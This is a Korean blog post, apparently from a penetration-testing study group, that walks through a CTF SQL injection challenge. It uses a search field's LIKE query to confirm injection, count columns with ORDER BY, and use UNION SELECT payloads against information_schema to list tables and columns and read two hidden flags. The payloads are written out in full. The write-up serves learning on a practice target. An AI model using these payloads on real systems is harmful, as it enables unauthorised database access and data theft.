모의해킹 스터디 CTF 문제 - SQL Injection 1

2024. 11. 26. 08:13·모의해킹/모의해킹 스터디

이번 문제는 숨겨진 데이터를 찾으면 되는 문제이다.

 

메인화면


1. SQL 로직 확인

우선 SQL 로직을 확인하기 위해 4개의 데이터 중 중복으로 들어있는 'o'를 검색해 보겠다.

 

'o' 검색

 

'o'가 중간에 있던 뒤에 있던 'o'가 들어있는 3개의 데이터 전부가 검색되는 것으로 보아

SELECT * FROM TABLE WHERE UserId LIKE '%검색어%'

위에 구문으로 되어있을 것으로 예상된다.

 

2. SQL 인젝션 확인

SQL 인젝션 확인을 위해

o%' and '1' = '1' #

해당 구문을 작성하고 출력한다.

 

sql and 출력

결과가 나오는 것으로 보아 SQL 인젝션이 가능하다는 것을 알 수 있다.

더보기

select * from TABLE where ID like '%o%' and '1' = '1' # %' -> o 데이터만 나옴

select * from TABLE where ID like '%o%' or '1' = '1' # %'  -> 전체 데이터 나옴

select * from TABLE where ID like '%o%' or '1' = '1 %' -> o 또한 거짓 => o 데이터만 나옴

select * from TABLE where ID like '%bello%' or '1' = '1' # %'  -> 전체 데이터 나옴

select * from TABLE where ID like '%bello%' or '1' = '1 %' -> bello 데이터만 나옴 

 

3. 컬럼 개수 확인

숨겨진 데이터를 찾기 위해 데이터 베이스의 전체 정보를 조회해야 하는데 그러기 위해선 컬럼 개수가 파악이 되어야 한다.

  • o%' order by 1 # -> 실행 성공
  • o%' order by 2 # -> 실행 성공
  • o%' order by 3 # -> 실행 성공
  • o%' order by 4 # -> 실행 성공
  • o%' order by 5 # -> 실행 실패
    • 컬럼 개수는 총 4개 이다.

 

4. 출력되는 컬럼 위치 확인

출력되는 데이터를 직접 볼 수 있는 컬럼을 파악해야 한다.

o%' union select 1,2,3,4 #

 

해당 로직 조회 시

컬럼 위치 파악

임의의 데이터 전부가 보이는 것으로 보아 어떤 컬럼을 사용해도 문제가 없을 것 같다.

 

5. DB 명 확인

o%' union select 1,group_concat(database()),3,4 #

db명 확인

 

6. Table 명 확인

o%' union select 1, table_name,3,4 from information_schema.tables where table_schema = 'db 명' #

테이블명 확인

총 3개의 테이블이 나온다.

 

7. Column 명 확인

o%' union select 1, column_name ,3,4 from information_schema.columns where table_name= '테이블명' #

 

3개의 테이블 중 우선 유저와 관련한 테이블의 컬럼명을 확인해보면

유저 관련 테이블 컬럼

현재 보이는 페이지와 컬럼명이 같은 것으로 보아 현재 보이는 페이지의 테이블이란 것을 알 수 있다.

 

나머지 플래그와 관련한 테이블 2개를 조회해 보면

플래그1 테이블 조회
플래그 2 테이블

위에 처럼 나오는 걸 볼 수 있다.

 

8. Data 확인

이제 데이터를 조회하려고 한다. 데이터는 조회 전 불필요한 리소스를 줄이기 위해 COUNT 함수를 사용하여 각 테이블의 행의 수를 파악하는 게 좋다. 

o%' union select 1, concat('개수: ', count(*)), 3, 4 from 테이블명 #

 

우선 유저와 관련한 행의 개수는

유저 행 개수

총 4개이다. 그러므로 맨 처음 보인 데이터로 보아 4개가 전부 보였으니 유저와 관련한 테이블에는 숨겨진 정보가 없을 것으로 예상된다.

 

나머지 테이블도 살펴보면

플래그1 행 수
플래그 2 행의 개수

두 테이블 다 데이터가 1개임이 확인된다. 그러므로 GROUP_CONCAT이나 LIMIT을 사용 안 해도 테이블 전체 데이터를 볼 수 있다.

 

o%' union select 1, 컬럼명1, 컬럼명2, 4 from 테이블명 #

 

이제 각각의 데이터를 확인해 보면

플래그1 데이터
플래그2 데이터

 

이렇게 2개의 플래그를 획득할 수 있다. 이 중 하나를 작성하면 이번 문제를 풀 수 있다.

728x90
반응형
저작자표시 비영리 동일조건 (새창열림)

'모의해킹 > 모의해킹 스터디' 카테고리의 다른 글

모의해킹 스터디 7주차 정리  (0) 2024.12.02
모의해킹 스터디 CTF 문제 - SQL Injection 2  (0) 2024.11.27
모의해킹 스터디 6주차 과제  (0) 2024.11.25
모의해킹 스터디 CTF 문제 - Secret Login  (0) 2024.11.25
모의해킹 스터디 CTF 문제 - Login Bypass5  (0) 2024.11.25
'모의해킹/모의해킹 스터디' 카테고리의 다른 글
  • 모의해킹 스터디 7주차 정리
  • 모의해킹 스터디 CTF 문제 - SQL Injection 2
  • 모의해킹 스터디 6주차 과제
  • 모의해킹 스터디 CTF 문제 - Secret Login
BPM37093
BPM37093
luna의 IT기술 정리
  • BPM37093
    IT Study Log
    BPM37093
  • 링크

  • 글쓰기 관리
    • 분류 전체보기 (43)
      • 모의해킹 (37)
        • 웹해킹 (1)
        • 모의해킹 스터디 (36)
      • Web (5)
        • 웹 보안 (1)
        • 웹 크롤링 (1)
      • Data (0)
      • Cloud (0)
      • Network (1)
  • 인기 글

  • 방문자 수

    방문자수Total

    • Today :
  • 태그

    HttpResponse
    모의해킹스터디
    상태코드
    php
    hash
    HTML
    메서드
    WEB
    웹개발
    HTTP
    burpsuite
    오블완
    mysql
    Chrome
    NAT
    httprequest
    sqlinjection
    티스토리챌린지
    Network
    웹해킹
    SQL
    javascript
  • hELLO· Designed By정상우.v4.10.1
BPM37093
모의해킹 스터디 CTF 문제 - SQL Injection 1
상단으로

티스토리툴바